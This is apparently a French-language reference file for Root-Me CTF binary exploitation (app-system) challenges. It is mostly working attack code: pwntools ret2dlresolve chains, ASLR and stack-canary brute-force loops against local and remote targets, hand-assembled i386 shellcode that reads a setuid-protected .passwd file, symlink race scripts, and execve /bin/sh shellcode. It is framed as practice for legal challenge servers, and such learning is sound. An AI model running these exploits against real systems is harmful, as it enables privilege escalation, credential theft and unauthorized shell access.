python3 -c "from pwn import *; print(cyclic_find(0x61616164))"

# Méthode 3 : binary search manuelle
python3 -c "print('A'*76 + 'BBBB')" | ./challenge  # EIP = 0x42424242 ?
```

## ret2dlresolve 32-bit (sans libc leak)

```python
from pwn import *
elf = ELF('./challenge')
rop = ROP(elf)

# Créer payload ret2dlresolve
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr, len(dlresolve.payload))
rop.ret2dlresolve(dlresolve)

raw_rop = rop.chain()
offset = 76
payload = fit({offset: raw_rop}, length=offset+len(raw_rop))
io.sendline(payload)
io.send(dlresolve.payload)
io.interactive()
```

## Techniques de bypass 32-bit

### ASLR Brute-force (32-bit seulement)

```python
# En 32-bit, seulement ~256 valeurs possibles pour l'adresse de base de la pile
# Brute-force possible sur serveur forking

for i in range(256):
    io = process('./challenge')
    # Tenter avec adresse fixe supposée
    payload = b'A' * offset + p32(stack_guess)
    io.sendline(payload)
    try:
        io.recv(timeout=0.5)
        print("SUCCESS!")
        io.interactive()
        break
    except:
        io.close()
```

### ASLR par-processus sur Root-Me (piège critique)

**Symptôme** : le scan trouve l'adresse du buffer, mais l'exploit échoue à chaque fois.

**Cause** : Sur les serveurs Root-Me, `setarch i386 -R` ne désactive PAS entièrement l'ASLR de la pile. L'adresse du buffer est re-randomisée à chaque exécution du binaire (entropie ~1,6 Mo observée). Même au sein d'un même script bash, chaque `subprocess.run()` ou fork donne une adresse différente.

**Règle absolue** : Scan et exploit doivent se produire dans **le même processus**. Ne jamais chercher l'adresse dans un appel et l'exploiter dans un autre.

**Solution : shellcode combiné scan+exploit**

```python
# Shellcode qui fait TOUT en une seule exécution :
# 1. Écrit ESP sur stdout (preuve d'exécution + adresse)
# 2. Ouvre le fichier flag
# 3. Lit le flag
# 4. Écrit le flag sur stdout
# 5. Exit

# i386, 32-bit, syscalls int 0x80
sc = bytes([
    # Part 1 : écrire ESP (4 octets) sur stdout
    0x54,             # push esp
    0x89, 0xe1,       # mov ecx, esp   (pointe vers la valeur ESP empilée)
    0x6a, 0x04, 0x5a, # push 4; pop edx
    0x6a, 0x01, 0x5b, # push 1; pop ebx (stdout)
    0x6a, 0x04, 0x58, # push 4; pop eax (sys_write=4)
    0xcd, 0x80,       # int 0x80
    # Part 2 : ouvrir le fichier (chemin empilé en reverse dwords)
    # [push du chemin complet en dwords little-endian, reversed]
    # ex: "/challenge/app-systeme/ch21/.passwd\0" en 9 dwords
    0x89, 0xe3,       # mov ebx, esp  (ptr vers le chemin)
    0x31, 0xc9,       # xor ecx, ecx  (O_RDONLY=0)
    0x31, 0xd2,       # xor edx, edx
    0x6a, 0x05, 0x58, 0xcd, 0x80,  # push 5; pop eax; int 0x80 -> sys_open
    # Part 3 : lire
    0x89, 0xc3,       # mov ebx, eax  (fd)
    0x83, 0xec, 0x40, # sub esp, 64
    0x89, 0xe1,       # mov ecx, esp
    0x6a, 0x40, 0x5a, # push 64; pop edx
    0x6a, 0x03, 0x58, 0xcd, 0x80,  # sys_read
    # Part 4 : écrire sur stdout
    0x89, 0xc2,       # mov edx, eax (bytes_read)
    0x89, 0xe1,       # mov ecx, esp
    0x6a, 0x01, 0x5b, # push 1; pop ebx (stdout)
    0x6a, 0x04, 0x58, 0xcd, 0x80,  # sys_write
    # Part 5 : exit
    0x31, 0xdb,       # xor ebx, ebx
    0x6a, 0x01, 0x58, 0xcd, 0x80,  # sys_exit(0)
])
```

**Stratégie de scan avec shellcode combiné** (depuis bash) :

```bash
#!/bin/bash
B='/path/to/setuid/binary'
N=-1869574000  # 0x90909090 NOP

# Générer le fichier exploit (base fixe) avec awk
awk -v n="$N" -v sc="$COMBINED_CHUNKS" 'BEGIN{
    for(i=1;i<996;i++){print n; print i}
    nsc=split(sc,a," ")
    for(j=1;j<=nsc;j++){if(a[j]+0!=0){print a[j]; print 995+j}}
}' > /tmp/base.txt

# Boucle de brute-force ASLR : ~400 essais en moyenne (sled 4KB, range ~1,6MB)
addr=4294963200  # 0xFFFFF000
cnt=0
while [ $cnt -lt 5000 ]; do
    if [ $addr -gt 2147483647 ]; then rd=$((addr-4294967296)); else rd=$addr; fi
    { cat /tmp/base.txt; printf '%d\n-15\n' $rd; } > /tmp/ew.txt
    timeout 2 setarch i386 -R "$B" /tmp/ew.txt > /tmp/out.bin 2>/dev/null
    cnt=$((cnt+1))
    sz=$(wc -c < /tmp/out.bin 2>/dev/null | tr -d ' ')
    sz=${sz:-0}
    if [ "$sz" -gt 4 ]; then          # >4 octets = ESP (4B) + flag
        dd if=/tmp/out.bin bs=1 skip=4 2>/dev/null; echo; break
    elif [ "$sz" -eq 4 ]; then         # =4 octets = exécution OK mais fichier inaccessible
        echo "[EXEC mais pas de flag - problème setuid ?]"
    fi
    addr=$((addr - 3840))
    [ $addr -lt 4278190080 ] && addr=4294963200  # wrap around
done
```

**Diagnostic de l'exécution du shellcode** :

```python
# Shellcode "write-ESP" : confirme que le shellcode tourne ET donne l'adresse
# push esp; mov ecx,esp; push4; pop edx; push1; pop ebx; push4; pop eax; int80; push1; pop eax; xor ebx,ebx; int80
ESP_SC_BYTES = bytes([
    0x54, 0x89, 0xe1, 0x6a, 0x04, 0x5a,
    0x6a, 0x01, 0x5b, 0x6a, 0x04, 0x58,
    0xcd, 0x80,
    0x31, 0xdb, 0x6a, 0x01, 0x58, 0xcd, 0x80,
])
# Si sortie = 4 octets → ESP = struct.unpack('<I', out[:4])[0]
# buf_addr = ESP + 0x38 (vérifier avec Ghidra/r2)

# Interprétation des résultats :
# sz=0  → redirect rate la NOP sled (SIGSEGV) → continuer le scan
# sz=4  → shellcode tourne MAIS sys_open échoue (EACCES ? setuid KO ?)
# sz>4  → shellcode tourne ET flag lu avec succès
```

**Contrainte "pas de dword nul"** dans les primitives d'écriture arbitraire :

```python
# Certains binaires skippent les paires (VALUE, INDEX) si VALUE == 0.
# S'assurer que TOUS les chunks du shellcode sont non-nuls :

import struct
chunks = [struct.unpack('<i', sc[i:i+4])[0] for i in range(0, len(sc), 4)]
zeros = [(i, v) for i, v in enumerate(chunks) if v == 0]
# Si zeros non-vide → réécrire les instructions concernées :
# push 0; pop ebx  → xor ebx, ebx  (évite le chunk 0x5b006a00)
# push 0x00...    → xor eax,eax; push eax (si nécessaire)
```

### Serveur forking : canary brute-force byte par byte

```python
canary = b'\x00'  # Toujours commence par \x00

for byte_idx in range(1, 4):  # 3 octets restants (32-bit canary = 4 bytes)
    for byte_val in range(256):
        io = remote(HOST, PORT)
        payload = b'A' * offset + canary + bytes([byte_val])
        io.sendline(payload)
        response = io.recv(timeout=0.5)
        if b'*** stack smashing' not in response:
            canary += bytes([byte_val])
            break
        io.close()
```

## Race condition (Root-Me classique)

```bash
# Pattern typique : programme vérifie un fichier, puis l'ouvre → TOCTOU
# Exploit : créer/supprimer le fichier en boucle pendant que le prog accède

# Script bash race
while true; do
    ln -sf /challenge/.passwd /tmp/target &
    rm /tmp/target &
done &
# Lancer le programme en parallèle

# Python race avec threads
import threading, os, time

def swap():
    while True:
        os.symlink('/challenge/.passwd', '/tmp/file')
        os.remove('/tmp/file')

t = threading.Thread(target=swap, daemon=True)
t.start()
# Lancer le binaire en boucle
```

## Syscalls 32-bit (int 0x80)

```python
# Quand seccomp bloque les syscalls 64-bit
# int 0x80 utilise des numéros différents !
# x86 32-bit syscall table
SYSCALL_READ  = 3
SYSCALL_WRITE = 4
SYSCALL_OPEN  = 5
SYSCALL_EXECVE = 11

shellcode_32 = asm('''
    xor eax, eax
    push eax
    push 0x68732f2f  ; //sh
    push 0x6e69622f  ; /bin
    mov ebx, esp
    xor ecx, ecx
    xor edx, edx
    mov eax, 11      ; execve
    int 0x80
''', arch='i386')
```

## Gadgets ROPgadget 32-bit

```bash
# Lister les gadgets utiles
ROPgadget --binary ./challenge --rop | grep "pop ebx"
ROPgadget --binary ./challenge --rop | grep "int 0x80"
ROPgadget --binary ./challenge --rop | grep "call system"

# Gadgets classiques en 32-bit
# pop ebx; ret       → contrôler 1er arg
# pop ecx; pop ebx; ret  → 2ème et 1er arg
# int 0x80; ret      → syscall
# leave; ret         → stack pivot
```

## Protections Root-Me x86 typiques

```bash
# Challenges basiques (pas de protection)
checksec --file=challenge
# Arch: i386-32-little | RELRO: No RELRO | Stack: No canary | NX: NX disabled | PIE: No PIE

# Challenges intermédiaires
# RELRO: Partial RELRO | Stack: No canary | NX: NX enabled | PIE: No PIE

# Challenges avancés
# RELRO: Full RELRO | Stack: Canary found | NX: NX enabled | PIE: PIE enabled
```



---

<!-- Source: quickref.md -->

# ctf-app-system — Quick Reference

Inline code / one-liners / common payloads. Loaded on demand from `SKILL.md`. Detailed techniques live in the category-specific support files listed in `SKILL.md`.


## Reconnaissance initiale

```bash
# 1. Connexion SSH Root-Me
ssh -p 2222 <user>@<challenge>.root-me.org

# 2. Sur le serveur : identifier l'environnement
uname -a                          # kernel version
ldd --version                     # libc version
ls -la /challenge/ 2>/dev/null || ls ~
file ./challenge                  # architecture + linking
checksec --file=./challenge       # protections

# 3. Récupérer le binaire en local
scp -P 2222 user@host:~/challenge ./
# Ou depuis l'interface Root-Me (téléchargement direct)
```

## Stratégie selon les protections

| PIE | RELRO | Canary | NX | Stratégie |
|-----|-------|--------|----|-----------|
| Non | Partial | Non | Non | Shellcode ou ret2win direct (adresses fixes) |
| Non | Partial | Non | Oui | GOT overwrite via fmt string ou ret2libc |
| Non | Full | Oui | Oui | Leak canary via fmt string → ROP ret2libc |
| Oui | Full | Oui | Oui | Leak PIE+libc via fmt string → ROP |
| Oui | Full | Oui | Oui | Heap UAF → leak → tcache poison |

## Déterminer le type de vuln

```bash
# Analyser statiquement
objdump -d ./challenge | grep -A5 "gets\|scanf\|strcpy\|printf\|fgets"
strings ./challenge | grep -E "Enter|Input|Name|Message"

# Comportement à chaud (local)
python3 -c "print('A'*200)" | ./challenge   # crash = overflow
python3 -c "print('%p.'*30)" | ./challenge  # leak = format string

# Ghidra / radare2 pour la décompilation
r2 -A ./challenge
pdf @ main
```

## Workflow de résolution Root-Me

1. **Analyse statique locale** — `checksec`, `file`, Ghidra/r2, `strings`
2. **Identifier la vuln** — overflow, format string, UAF, race
3. **Fingerprint libc remote** — `ldd`, `strings /lib/x86_64-linux-gnu/libc.so.6 | grep GLIBC`, ou `libc-database`
4. **Patcher le binaire local** — `patchelf` pour matcher la libc du serveur
5. **Développer l'exploit localement** — avec `process()` pwntools
6. **Switcher sur `remote()`** — ou transférer via SSH + exécuter
7. **Récupérer le f

…(truncated)
